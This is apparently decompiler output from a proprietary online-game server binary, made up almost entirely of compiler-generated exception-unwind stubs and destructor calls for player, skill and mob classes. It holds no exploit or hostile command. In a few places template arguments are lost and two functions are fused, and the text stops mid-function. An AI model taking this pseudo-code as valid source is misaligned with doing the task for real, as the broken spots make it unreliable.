void __usercall _L172202(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 172)); } //----- (0058F39B) -------------------------------------------------------- void __usercall _L172203(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 164)); } //----- (0058F3A6) -------------------------------------------------------- void __usercall _L172204(int a1) { AxialListPacketBroadcast::_AxialListPacketBroadcast((AxialListPacketBroadcast *)(a1 - 184)); } //----- (0058F3B1) -------------------------------------------------------- void __usercall _L172205(int a1) { AxialListPacketBroadcast::_AxialListPacketBroadcast((AxialListPacketBroadcast *)(a1 - 184)); } //----- (0058F3D0) -------------------------------------------------------- void __usercall _L172772(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 52)); } //----- (0058F3D8) -------------------------------------------------------- void __usercall _L172773(int a1) { AxialListPacketBroadcast::_AxialListPacketBroadcast((AxialListPacketBroadcast *)(a1 - 64)); } //----- (0058F3E0) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__smo_SwingDamage_ShineMobileObject_ShineObjectClass__UAEEPAVShineObject_2_W4ABSTATEINDEX__HHH_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (0058F3F0) -------------------------------------------------------- void __usercall _L174580(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 280)); } //----- (0058F3FB) -------------------------------------------------------- void __usercall _L174602(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff((TableNameCompareArgument *)(a1 - 288)); } //----- (0058F406) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__so_KilledBy_ShineMobileObject_ShineObjectClass__UAEXPAVShineObject_2_HHK_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (0058F410) -------------------------------------------------------- void __usercall _L174729(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 32)); } //----- (0058F418) -------------------------------------------------------- void __usercall _L174730(int a1) { AxialListWall::_AxialListWall((AxialListMobKillLog *)(a1 - 28)); } //----- (0058F420) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__so_KilledBy_ShineMob_ShineObjectClass__UAEXPAVShineObject_2_HHK_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (0058F43B) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler___Insert_n___vector_VAbstateElementInObject_AbnormalStateContainer__V__allocator_VAbstateElementInObject_AbnormalStateContainer___std___std__IAEXViterator_12_IABVAbstateElementInObject_AbnormalStateContainer___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (0058F450) -------------------------------------------------------- void __usercall _L177017_0(int a1) { AbnormalStateContainer::AbstateElementInObject::_AbstateElementInObject((AbnormalStateContainer::AbstateElementInObject *)(a1 + 8)); } //----- (0058F458) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__resize___vector_VAbstateElementInObject_AbnormalStateContainer__V__allocator_VAbstateElementInObject_AbnormalStateContainer___std___std__QAEXIVAbstateElementInObject_AbnormalStateContainer___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (0058F470) -------------------------------------------------------- void __usercall _L177172_0(int a1) { AbnormalStateContainer::AbstateElementInObject::_AbstateElementInObject((AbnormalStateContainer::AbstateElementInObject *)(a1 - 128)); } //----- (0058F478) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__resize___vector_VAbstateElementInObject_AbnormalStateContainer__V__allocator_VAbstateElementInObject_AbnormalStateContainer___std___std__QAEXI_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (0058F490) -------------------------------------------------------- void __usercall _L177250_0(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 140)); } //----- (0058F49B) -------------------------------------------------------- void __usercall _L177251_0(int a1) { AbnormalStateContainer::AbstateElementInObject::_AbstateElementInObject((AbnormalStateContainer::AbstateElementInObject *)(a1 - 136)); } //----- (0058F4B0) -------------------------------------------------------- void __usercall _L168045(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (0058F4B8) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__sds_Initialize_SkillDamageSender_SkillEffectApply__QAEXXZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (0058F4D0) -------------------------------------------------------- void __usercall _L164873(int a1) { List::_List(*(List **)(a1 - 16)); } //----- (0058F4D8) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler___0BattleObjectList_BattleObjectGroup__QAE_XZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (0058F4F0) -------------------------------------------------------- void __usercall _L163223(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff((TableNameCompareArgument *)(a1 - 20)); } //----- (0058F4F8) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__l_Clear___List_VBattleObject_BattleObjectGroup____QAEXXZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (0058F510) -------------------------------------------------------- void __usercall _L164045(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 28)); } //----- (0058F518) -------------------------------------------------------- void __usercall _L164046(int a1) { AxialListPacketBroadcast::_AxialListPacketBroadcast((AxialListPacketBroadcast *)(a1 - 24)); } //----- (0058F520) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__sds_Finish_SkillDamageSender_SkillEffectApply__QAEXPAUSkillBlastEffect_2__Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (0058F530) -------------------------------------------------------- void __usercall _L166064(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::pair,std::allocator > const ,int> *)(a1 - 80)); } //----- (0058F538) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler___Xlen___vector_USkillDamage_PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD__V__allocator_USkillDamage_PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD___std___std__IBEXXZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (0058F550) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler___Insert_n___vector_USkillDamage_PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD__V__allocator_USkillDamage_PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD___std___std__IAEXViterator_12_IABUSkillDamage_PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (0058F560) -------------------------------------------------------- void __usercall _L166580(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 120)); } //----- (0058F568) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__sbec_SkillCancel_SkillBlastEffectContainer_SkillEffectApply__QAEXPAVShineMobileObject_ShineObjectClass___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (0058F580) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__reserve___vector_USkillBlastEffect_SkillEffectApply__V__allocator_USkillBlastEffect_SkillEffectApply___std___std__QAEXI_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (0058F590) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__reserve___vector_USkillDamage_PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD__V__allocator_USkillDamage_PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD___std___std__QAEXI_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (0058F5A0) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler___Insert_n___vector_USkillBlastEffect_SkillEffectApply__V__allocator_USkillBlastEffect_SkillEffectApply___std___std__IAEXViterator_12_IABUSkillBlastEffect_SkillEffectApply___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (0058F5B0) -------------------------------------------------------- void __usercall _L168076(int a1) { std::vector>::_vector>(*(std::vector,std::allocator > >::iterator,std::allocator,std::allocator) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 132)); } //----- (0058F5DB) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__sbec_Store_SkillBlastEffectContainer_SkillEffectApply__QAEXGPBUSkillDataIndex_SkillDataBox__PAVShineMobileObject_ShineObjectClass__PAVShineObject_6_PAUSHINE_XY_TYPE__H_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (0058F5F0) -------------------------------------------------------- void __usercall _L168478(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 184)); } //----- (0058F5FB) -------------------------------------------------------- void __usercall _L168479(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 80)); } //----- (0058F603) -------------------------------------------------------- void __usercall _L168480(int a1) { SkillEffectApply::SkillEffectEraser::_SkillEffectEraser((SkillEffectApply::SkillEffectEraser *)(a1 - 192)); } //----- (0058F620) -------------------------------------------------------- void __usercall _L75604(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::pair,std::allocator > const ,int> *)(a1 - 80)); } //----- (0058F628) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler___Incsize___list_VBlockingDistribute_BlockDistribute__V__allocator_VBlockingDistribute_BlockDistribute___std___std__IAEXI_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (0058F640) -------------------------------------------------------- void __usercall _L76069(int a1) { BlockDistribute::BlockingDistribute::_BlockingDistribute((BlockDistribute::BlockingDistribute *)(a1 - 44)); } //----- (0058F648) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__bdl_New_BlockingDistributeList_BlockDistribute__QAEPAVBlockingDistribute_2_XZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (0058F660) -------------------------------------------------------- void __usercall _L171355(int a1) { List::_List((ItemLotAnalyser::LotAnalyser *)(*(_DWORD *)(a1 - 16) + 1004)); } //----- (0058F66E) -------------------------------------------------------- void __usercall _L171356(int a1) { List::_List((ItemLotAnalyser::LotAnalyser *)(*(_DWORD *)(a1 - 16) + 1060)); } //----- (0058F67C) -------------------------------------------------------- void __usercall _L171357(int a1) { List::_List((ItemLotAnalyser::LotAnalyser *)(*(_DWORD *)(a1 - 16) + 1116)); } //----- (0058F68A) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler___1AttackElement4Mob_MobAttackSequence__QAE_XZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (0058F6A0) -------------------------------------------------------- void __usercall _L180365(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (0058F6A8) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__so_mob_RegenComplete_ShineServant_ShineObjectClass__UAEXG_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (0058F6C0) -------------------------------------------------------- void __usercall _L172801(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 228)); } //----- (0058F6CB) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__sp_2Roumen_ShinePlayer_ShineObjectClass__IAEXXZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (0058F6E0) -------------------------------------------------------- void __usercall _L172937(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 48)); } //----- (0058F6E8) -------------------------------------------------------- void __usercall _L172938_0(int a1) { ItemBoxIterator::_ItemBoxIterator((ItemBoxIterItemRegNo *)(a1 - 44)); } //----- (0058F6F0) -------------------------------------------------------- void __usercall _L172939(int a1) { ItemBoxIterator::_ItemBoxIterator((ItemBoxIterItemRegNo *)(a1 - 28)); } //----- (0058F710) -------------------------------------------------------- void __usercall _L173674(int a1) { _eh_vector_destructor_iterator_( *(void **)(a1 - 16), 0x17Cu, 30, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); } //----- (0058F726) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler___0BriefInfoExchangeAbstate_BriefInfoExchanger__QAE_XZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (0058F730) -------------------------------------------------------- void __usercall _L173779(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 28)); } //----- (0058F738) -------------------------------------------------------- void __usercall _L173780(int a1) { AxialListPacketBroadcast::_AxialListPacketBroadcast((AxialListPacketBroadcast *)(a1 - 24)); } //----- (0058F740) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__so_ply_ChangeBriefInfo_ShinePlayer_ShineObjectClass__UAEXPAVItemInventoryCell__H_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (0058F750) -------------------------------------------------------- void __usercall _L173897(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 24)); } //----- (0058F758) -------------------------------------------------------- void __usercall _L173898(int a1) { AxialListWall::_AxialListWall((AxialListMobKillLog *)(a1 - 20)); } //----- (0058F760) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__cbd_DistanceSquar_CalculateBroadcastDistance__QAEKPAVShineObject_ShineObjectClass___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (0058F770) -------------------------------------------------------- void __usercall _L174081(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 132)); } //----- (0058F77B) -------------------------------------------------------- void __usercall _L174082(int a1) { ItemBoxIterator::_ItemBoxIterator((ItemBoxIterItemRegNo *)(a1 - 152)); } //----- (0058F786) -------------------------------------------------------- void __usercall _L174083(int a1) { ItemBoxIterator::_ItemBoxIterator((ItemBoxIterItemRegNo *)(a1 - 168)); } //----- (0058F791) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__sp_MakeMiniHouse_ShinePlayer_ShineObjectClass__QAEXXZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (0058F7A0) -------------------------------------------------------- void __usercall _L174444(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 84)); } //----- (0058F7A8) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__sp_ConnectFromWhere_ShinePlayer_ShineObjectClass__QAEXXZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (0058F7C0) -------------------------------------------------------- void __usercall _L174514(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 40)); } //----- (0058F7C8) -------------------------------------------------------- void __usercall _L174515(int a1) { AxialListGhostBan::_AxialListGhostBan((AxialListGhostBan *)(a1 - 36)); } //----- (0058F7D0) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__sp_GhostBan_ShinePlayer_ShineObjectClass__IAEXXZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (0058F7E0) -------------------------------------------------------- int __cdecl _L174974() { int result; // eax@1 result = _local_static_guard_ & 0xFFFFFFFE; _local_static_guard_ &= 0xFFFFFFFEu; return result; } // 65AAD8: using guessed type int _local static guard_; //----- (0058F7EE) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__mas_Find_MobAttackSequence__AAEPAUAttackElement4Mob_1_G_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (0058F800) -------------------------------------------------------- void __usercall _L176305(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff((TableNameCompareArgument *)(a1 - 20)); } //----- (0058F808) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__l_Clear___List_UEnemy_HitMeList____QAEXXZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (0058F820) -------------------------------------------------------- void __usercall _L176361(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff((TableNameCompareArgument *)(a1 - 20)); } //----- (0058F828) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__l_Clear___List_ULockedCell_InventoryLocking____QAEXXZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (0058F840) -------------------------------------------------------- void __usercall _L176387(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff((TableNameCompareArgument *)(a1 - 20)); } //----- (0058F848) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__l_Clear___List_UMobHuntElement_HuntLog____QAEXXZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (0058F860) -------------------------------------------------------- void __usercall _L176638(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 24)); } //----- (0058F868) -------------------------------------------------------- void __usercall _L176655(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff((TableNameCompareArgument *)(a1 - 20)); } //----- (0058F870) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__sp_LoginInit_ShinePlayer_ShineObjectClass__AAEXXZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (0058F880) -------------------------------------------------------- void __usercall _L178650(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::pair,std::allocator > const ,int> *)(a1 - 80)); } //----- (0058F888) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler___Xlen___vector_VObserver__V__allocator_VObserver___std___std__IBEXXZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (0058F8A8) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler___Insert_n___vector_VObserver__V__allocator_VObserver___std___std__IAEXViterator_12_IABVObserver___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (0058F8C0) -------------------------------------------------------- void __usercall _L179389(int a1) { Observer::_Observer((Observer *)(a1 + 8)); } //----- (0058F8C8) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__resize___vector_VObserver__V__allocator_VObserver___std___std__QAEXIVObserver___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (0058F8E0) -------------------------------------------------------- void __usercall _L179989(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 24)); } //----- (0058F8E8) -------------------------------------------------------- void __usercall _L179990(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 20)); } //----- (0058F8F8) -------------------------------------------------------- void __usercall _L180132(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff((TableNameCompareArgument *)(a1 - 20)); } //----- (0058F910) -------------------------------------------------------- void __usercall _L180397(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (0058F918) -------------------------------------------------------- void __usercall _L180583(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff((TableNameCompareArgument *)(a1 - 32)); } //----- (0058F920) -------------------------------------------------------- void __usercall _L180399(int a1) { ChargedItemEffectList::ChargedEffectListRouter::_ChargedEffectListRouter((ChargedItemEffectList::ChargedEffectListRouter *)(a1 - 32)); } //----- (0058F928) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__sp_NC_MAP_LOGINCOMPLETE_CMD_ShinePlayer_ShineObjectClass__QAEXPATNETCOMMAND__HG_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (0058F940) -------------------------------------------------------- void __usercall _L146210(int a1) { RollBackPosCallBackEvent::_RollBackPosCallBackEvent(*(RollBackPosCallBackEvent **)(a1 - 16)); } //----- (0058F948) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler___0RollBackPosCallBackEvent__QAE_PAVShineObject_ShineObjectClass___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (0058F960) -------------------------------------------------------- void __usercall _L156242(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (0058F968) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__csl_Store_CharaterSkillList__QAEXPAUPROTO_NC_CHAR_SKILL_CMD___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (0058F980) -------------------------------------------------------- void __usercall _L154178(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 24)); } //----- (0058F988) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__csl_EmpowerAlloc_CharaterSkillList__QAEEPAUPROTO_NC_SKILL_EMPOWALLOC_REQ__PAUSKILL_EMPOWER___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (0058F9A0) -------------------------------------------------------- void __usercall _L155260(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::pair,std::allocator > const ,int> *)(a1 - 80)); } //----- (0058F9A8) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler___Xlen___vector_UCharSkill_CharaterSkillList__V__allocator_UCharSkill_CharaterSkillList___std___std__IBEXXZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (0058F9C0) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler___Insert_n___vector_UCharSkill_CharaterSkillList__V__allocator_UCharSkill_CharaterSkillList___std___std__IAEXViterator_12_IABUCharSkill_CharaterSkillList___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (0058F9D0) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__reserve___vector_UCharSkill_CharaterSkillList__V__allocator_UCharSkill_CharaterSkillList___std___std__QAEXI_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (0058F9E0) -------------------------------------------------------- void __usercall _L156146(int a1) { std::vector>::_vector>(*(std::vector,std::allocator > >::iterator,std::allocator,std::allocator) { CharClassWizMage::_CharClassWizMage(*(CharClassAssassin **)(a1 - 16)); } //----- (0058FA08) -------------------------------------------------------- void __usercall _L161453(int a1) { CharClassWizMage::_CharClassWizMage((CharClassAssassin *)(*(_DWORD *)(a1 - 16) + 68404)); } //----- (0058FA16) -------------------------------------------------------- void __usercall _L161454(int a1) { CharClassWizMage::_CharClassWizMage((CharClassAssassin *)(*(_DWORD *)(a1 - 16) + 136808)); } //----- (0058FA24) -------------------------------------------------------- void __usercall _L161455(int a1) { CharClassWizMage::_CharClassWizMage((CharClassAssassin *)(*(_DWORD *)(a1 - 16) + 205212)); } //----- (0058FA32) -------------------------------------------------------- void __usercall _L161456(int a1) { CharClassWizMage::_CharClassWizMage((CharClassAssassin *)(*(_DWORD *)(a1 - 16) + 273616)); } //----- (0058FA40) -------------------------------------------------------- void __usercall _L161457(int a1) { CharClassWizMage::_CharClassWizMage((CharClassAssassin *)(*(_DWORD *)(a1 - 16) + 342020)); } //----- (0058FA4E) -------------------------------------------------------- void __usercall _L161458(int a1) { CharClassWizMage::_CharClassWizMage((CharClassAssassin *)(*(_DWORD *)(a1 - 16) + 410424)); } //----- (0058FA5C) -------------------------------------------------------- void __usercall _L161459(int a1) { CharClassWizMage::_CharClassWizMage((CharClassAssassin *)(*(_DWORD *)(a1 - 16) + 478828)); } //----- (0058FA6A) -------------------------------------------------------- void __usercall _L161460(int a1) { CharClassWizMage::_CharClassWizMage((CharClassAssassin *)(*(_DWORD *)(a1 - 16) + 547232)); } //----- (0058FA78) -------------------------------------------------------- void __usercall _L161461(int a1) { CharClassWizMage::_CharClassWizMage((CharClassAssassin *)(*(_DWORD *)(a1 - 16) + 615636)); } //----- (0058FA86) -------------------------------------------------------- void __usercall _L161462(int a1) { CharClassWizMage::_CharClassWizMage((CharClassAssassin *)(*(_DWORD *)(a1 - 16) + 684040)); } //----- (0058FA94) -------------------------------------------------------- void __usercall _L161463(int a1) { CharClassWizMage::_CharClassWizMage((CharClassAssassin *)(*(_DWORD *)(a1 - 16) + 752444)); } //----- (0058FAA2) -------------------------------------------------------- void __usercall _L161464(int a1) { CharClassWizMage::_CharClassWizMage((CharClassAssassin *)(*(_DWORD *)(a1 - 16) + 820848)); } //----- (0058FAB0) -------------------------------------------------------- void __usercall _L161465(int a1) { CharClassWizMage::_CharClassWizMage((CharClassAssassin *)(*(_DWORD *)(a1 - 16) + 889252)); } //----- (0058FABE) -------------------------------------------------------- void __usercall _L161466(int a1) { CharClassWizMage::_CharClassWizMage((CharClassAssassin *)(*(_DWORD *)(a1 - 16) + 957656)); } //----- (0058FACC) -------------------------------------------------------- void __usercall _L161467(int a1) { CharClassWizMage::_CharClassWizMage((CharClassAssassin *)(*(_DWORD *)(a1 - 16) + 1026060)); } //----- (0058FADA) -------------------------------------------------------- void __usercall _L161468(int a1) { CharClassWizMage::_CharClassWizMage((CharClassAssassin *)(*(_DWORD *)(a1 - 16) + 1094464)); } //----- (0058FAE8) -------------------------------------------------------- void __usercall _L161469(int a1) { CharClassWizMage::_CharClassWizMage((CharClassAssassin *)(*(_DWORD *)(a1 - 16) + 1162868)); } //----- (0058FAF6) -------------------------------------------------------- void __usercall _L161470(int a1) { CharClassWizMage::_CharClassWizMage((CharClassAssassin *)(*(_DWORD *)(a1 - 16) + 1231272)); } //----- (0058FB04) -------------------------------------------------------- void __usercall _L161471(int a1) { CharClassWizMage::_CharClassWizMage((CharClassAssassin *)(*(_DWORD *)(a1 - 16) + 1299676)); } //----- (0058FB12) -------------------------------------------------------- void __usercall _L161472(int a1) { CharClassWizMage::_CharClassWizMage((CharClassAssassin *)(*(_DWORD *)(a1 - 16) + 1368080)); } //----- (0058FB20) -------------------------------------------------------- void __usercall _L161473(int a1) { 